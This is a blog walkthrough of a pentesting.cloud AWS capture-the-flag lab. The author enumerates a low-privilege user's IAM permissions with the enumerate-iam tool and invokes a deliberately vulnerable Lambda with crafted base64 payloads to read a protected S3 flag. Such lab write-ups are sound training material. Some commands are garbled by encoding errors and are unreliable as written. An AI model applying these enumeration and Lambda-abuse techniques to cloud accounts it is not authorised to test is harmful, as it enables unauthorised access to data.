Walkthrough Pentesting.cloud first CTF challenge
Nov 11, 2022 - ⧖ 14 minpentesting.cloud closed :(
but my writeup will live forever I guess


Some introductions here: I recently started a new role as an Associate Pentester and in the past, and I have done some cloud CTFs and even helped write some documentation for one called CloudGoat at a previous job. At that same job I even had the privilege of attending an unreleased internal training called âThe basics of pentesting AWSâ by Spencer Gietzen before he, unfortunately, passed away.
Additionally, Iâve seen well over 100 different AWS environments as a Project Manager and by looking over smart (er) pentester coworkersâ shoulders. Iâve also taken some AWS public training on things like IAM permissions and the fundamentals of how the cloud works.
Itâs safe to say that Iâve spent a good chunk of time around AWS but in a less âhands-onâ capacity. So Iâm looking to develop my hands-on skills. Iâve decided to work my way through the pentesting.cloud CTFs with only the CLI instead of relying on the console view. Itâs an anecdote but Iâve found often the best way to learn is to self-impose restrictions on how youâre allowed to do something. Thatâs actually how I learned Linux and C++ for the first time in college (shoutout to Ava Hahn for setting me up with Arch and Emacs).
Iâve found restrictions force you to be creative with what youâre doing and how youâre doing it. A side-effect is you learn and retain the information better. Also as a way of justifying why itâs a good idea to myself, Iâve noticed that pentesters often are in environments where you only have access keys and if you canât create a console role youâre stuck with the CLI. So thereâs that too.
Part 1: Setup
We are given a setup.sh file and told to make a user called pentesting-admin
First, we create the user with
aws â profile lizzie-personal iam create-user â user-name pentesting-admin

We use the following command to display the contents of the file.
type .\setup.sh


Alright, weâre gonna grant that user full admin, letâs go. After searching (appendix, goal 1), I found this policy we can attach.
â policy-arn arn:aws:iam::aws:policy/AdministratorAccessFrom <https://docs.aws.amazon.com/IAM/latest/UserGuide/getting-started_create-admin-group.html>
We want to grant âpentesting-adminâ that policy, and instead of adding it at the group level, I decided to just attach it at the user level. Weâll be deleting the user after this CTF anyways.
aws â profile lizzie-personal iam attach-user-policy â user-name pentesting-admin â policy-arn arn:aws:iam::aws:policy/AdministratorAccess
We ran that command and received no output but it looked successful. Letâs double-check though by listing the attached policies the user has (appendix).
aws â profile lizzie-personal iam list-attached-user-policies â user-name pentesting-admin

Amazing. We have an attached policy thatâs managed by AWS and is called Administrator Access. It doesnât list the specific permissions we get with it though. Letâs triple-check by describing the policy.
aws --profile lizzie-personal iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Well, thatâs interesting, the description looks promising but weâre still missing the specifics of the permissions! Luckily with a search (appendix, goal 2) and a stack-overflow answer I learned that we need to list the specific version. If we were doing this through the console it would be trivial to find the permissions, I know that much.
aws --profile lizzie-personal iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1
Press enter or click to view image in full size

Alright, let's go login as that user. Oh right. Letâs create an access key pair first.
aws â profile lizzie-personal iam create-access-key â user-name pentesting-admin

Creating access key pair for our âpentesting-adminâ role.
Then add a new profile for ease of use.
aws configure â profile pentesting-admin

Test it by calling sts to confirm who we are. Protip: do this as a habit if youâre switching between multiple roles/accounts often, especially in a customer environment.
aws â profile pentesting-admin sts get-caller-identity


Letâs go back to that code block for setup and see what we need to do next.

The next step in the setup.sh that we must do it manually
It includes some environment variables from earlier in the file so letâs set those first just because itâs likely weâll need to use them again and this just makes the copy and pasting easier.
Set-Item -Path Env:CHALLENGE -Value âintroâSet-Item -Path Env:CHALLENGE_URL -Value "https://pentesting-challenges-public.s3.us-west-2.amazonaws.com/intro/intro.yaml"
Now we could just run that cloudformation command, but itâs pulling from a template. Letâs see if we can get a preview just to make sure thereâs nothing malicious. Download the file from the s3 link and then display the file contents.
type .\intro.yaml

Looks good enough to me, nothing surprising. I saw some stuff about a flag but Iâm not overly worried about it because the webpage for this CTF already has a âwalkthrough solutionâ at the bottom without a toggle so anyone with a large enough screen just sees spoilers anywaysâŚ

Back to running that CloudFormation command.
aws â profile pentesting-admin cloudformation create-stack â stack-name $ Env :CHALLENGE â template-url $ Env :CHALLENGE_URL â capabilities CAPABILITY_NAMED_IAM

Weâre going to now check on the status to see if itâs completed.
aws â profile pentesting-admin cloudformation describe-stacks â stack-name $ Env :CHALLENGE

Now that weâve seen itâs completed we move on to the next section of the script.

So it looks like uses an SSM call to get a bucket name, then does a copy of the flag file to our bucket. I also had to refresh myself on the syntax at the end by searching (appendix, goal 4). It also redirects error messages to stdout (the 2>&1 piece) and then redirects it to /dev/null which is just the Linux abyss, likely so the user of the script doesnât see the output to prevent cheaters. Oh well, weâll just pinky swear not to cheat.
aws â profile pentesting-admin ssm get-parameter â name /pentesting/$ Env :CHALLENGE/bucket-name

We can see that the value contains the name of the s3 bucket thatâs hidden somewhere.
aws s3 cp s3://pentesting-challenges-public/$ Env :CHALLENGE/flag.txt s3://[SSM_VALUE_GOES_HERE]/flag.txt

Cool beans weâre all set up now.

Part 2: Enumeration, now it begins.
The next instructions were to create a password for the user, weâre going to make an access key instead.
aws â profile pentesting-admin iam create-access-key â user-name pentesting-user

Configure the profile as we had done before in the setup section.
Letâs start by looking to see what kind of permissions we got. We can do that by seeing what policies we have applied to us.
aws â profile pentesting-user iam list-user-policies â user-name pentesting-user

It appears we have Policy1 applied to us. Letâs take a look at the contents of that policy.

That looks to be a dead end. Alright then, letâs attempt to brute-force them. There are a couple of ways to do that but Iâm just gonna roll with Nick Frichetteâs blog post about it which recommends a tool made by AndrĂŠs Riancho.
git clone https://github.com/andresriancho/enumerate-iam.git

python .\enumerate-iam.py â access-key ACCESSKEYHERE â secret-key SECRETKEYHERE

Holy moly, thatâs a lot of listing and getting that works. But nothing stands out as a permission we didnât know about. We know that some s3 shenanigans were going on from the setup we did. Letâs try to list those buckets.
What is S3?
AWS in Plain English by expired security is honestly the best way Iâve found to get a succinct summary of what a service does.
Should have been called
Amazon Unlimited FTP Server
Use this to
Store images and other assets for websites. Keep backups and share files between services. Host static websites. Also, many of the other AWS services write and read from S3.
List the buckets that exist
aws â profile pentesting-user s3 ls


aws â profile pentesting-user s3 ls intro-s3bucket-[string]
Listing the contents of that bucket
Letâs try to copy it down locally.
aws â profile pentesting-user s3 cp s3://intro-s3bucket-[string]/flag.txt file://flag.txt

What is EC2?
Should have been called
Amazon Virtual Servers
Use this to
Host the bits of things you think of as a computer.
Itâs like
Itâs handwavy, but EC2 instances are similar to the virtual private servers youâd get at Linode, DigitalOcean or Rackspace.
Letâs try to describe all the instances we can see.
aws â profile pentesting-user ec2 describe-instances â region us-west-2

Thatâs a wash too.
Hail Mary, we can see if Lambda is in use at all I suppose. S3, EC2, and Lambda are kind of the most used services (for basic AWS usage anyways).
What is Lambda?
Should have been called
AWS App Scripts
Use this to
Run little self contained snippets of JS, Java or Python to do discrete tasks. Sort of a combination of a queue and execution in one. Used for storing and then executing changes to your AWS setup or responding to events in S3 or DynamoDB.
aws â profile pentesting-user lambda list-functions

Part 3: Letâs get exploitinâ
We've been hit on the nose a bit that this is a vulnerable function (itâs even in the name). Letâs see if we can get the actual code for it
aws â profile pentesting-user lambda get-function â function-name intro-VulnerableLambda-stringhere

We got some of the same information, but it did provide us with a repository where the code is stored for the lambda function. Letâs pull it down by copying the URL and downloading it via a browser because Iâm lazy.

Okay, now we will list the contents of the file
type .\index.py

The code looks to grab an object in an s3 bucket and then decode that object from base64 and spits out the flag.
Itâs a way of encoding information and you can encode or decode it easily. Itâs NOT a form of encryption because anyone can decode it.
We want to run this code and Iâm willing to bet that this function has a role that allows it to access the s3 bucket we found earlier when we could not access the flag.txt file.
How you normally run Lambda code is you need to invoke the function. Letâs see if we have the permission to invoke the function.
aws â profile pentesting-user lambda invoke â function-name intro-VulnerableLambda-STRING ./flag.txt

We got ourselves an unhandled exception, BUT IT RUNS. So why does it fail?
type .\flag.txt

Alright, it looks like we need to specify the bucket name. Letâs look closer at the code.

After mapping the variables and how they feed into each other, it looks like we need to feed it a base64 encoded âbucket nameâ and âbucket keyâ. After searching for how to base64 encode on PowerShell (appendix, goal 6)
[Convert]::ToBase64String ([System.Text.Encoding]::Unicode.GetBytes (âbucketnameâ ))

Now we need to guess what the key is. Given that itâs just asking for the bucket name, I want to guess that the key is the file name inside the bucket. We know because we listed the bucket earlier (itâs flag.txt)

Now the question is how do we supply these as parameters? Looking through the help command for lambda invoke I found this.

So letâs create some valid JSON with the bucket_name and bucket_key as parameters to supply as the payload.
{"bucket_name" : "YgB1AGMAawBlAHQAbgBhAG0AZQA=" ,"bucket_key" : "ZgBsAGEAZwAuAHQAeAB0AA==" }
aws â profile pentesting-user lambda invoke â payload â{âbucket_nameâ:âYgB1AGMAawBlAHQAbgBhAG0AZQA=â,âbucket_keyâ: âZgBsAGEAZwAuAHQAeAB0AA==â}â â function-name intro-VulnerableLambda-LKIXxAYQcGIC ./flag.txt

Well, thatâs weird. Better search for the error (appendix). After researching (appendix, goal 7) I found that I needed to include a â â cli-binary-format raw-in-base64-outâ parameter to the command. So weâll add that.
aws â profile pentesting-user lambda invoke â payload â{âbucket_nameâ:âYgB1AGMAawBlAHQAbgBhAG0AZQA=â,âbucket_keyâ:âZgBsAGEAZwAuAHQAeAB0AA==â}â â function-name intro-VulnerableLambda-LKIXxAYQcGIC â cli-binary-format raw-in-base64-out ./flag.txt

Nope. Still got an error. Searching for that new error (appendix, goal 8) told me that I was not escaping my quotes like Windows demands.
What is quote escaping?
Adding the escape character before a command symbol allows it to be treated as ordinary text. These characters which normally have a special meaning can be escaped and then treated like regular characters : & \ < > ^ |
This is how we force windows to treat those pesky double quotes as regular text by doing \â instead of just â.
After revising that small blipâŚ
aws â profile pentesting-user lambda invoke â payload â{\âbucket_name\â:\âYgB1AGMAawBlAHQAbgBhAG0AZQAA=\â,\âbucket_key\â:\âZgBsAGEAZwAuAHQAeAB0AA==\â}â â function-name intro-VulnerableLambda-LKIXxAYQcGIC â cli-binary-format raw-in-base64-out ./flag.txt

Hey, we got something unhandled by the code. What was it?

It looked like I needed to provide the full ARN for the bucket and I spent about 15 minutes trying different ways of encoding the bucket name. After trial and error, I figured Iâd try a different alternative to PowerShell for base64 encoding. When I did that it just magically worked â˘.
So after reviewing (appendix, goal 8) where to figure out where I went wrong. I found out that PowerShell has two methods of base64 encoding/decoding. One is Unicode (the one we used) and the other is UTF8 (which is the one we shouldâve used)
[Convert]::ToBase64String ([System.Text.Encoding]::UTF8.GetBytes (âflag.txtâ ))

See what I mean? Isnât CLI only so fun, you find all kinds of weird quirks that will impress your friends. How about we open the contents of the flag file and win this thing
type .\flag.txt

Okay, weâre so close. It did a print statement, maybe thereâs a way of looking at the logs instead? After some searching (appendix, goal 9) I found a command to use that will output the log result
aws â profile pentesting-user lambda invoke â payload â{\âbucket_name\â:\âYgB1AGMAawBlAHQAbgBhAG0AZQAA=\â,\âbucket_key\â:\âZmxhZy50eHQ=\â}â â function-name intro-VulnerableLambda-LKIXxAYQcGIC out â log-type Tail â cli-binary-format raw-in-base64-out
Which looks like a base64 encoded payloadâŚ
Letâs decode it using PowerShell
[System.Text.Encoding]::UTF8.GetString ([System.Convert]::FromBase64String (âstringgoeshereâ ))

We did it.
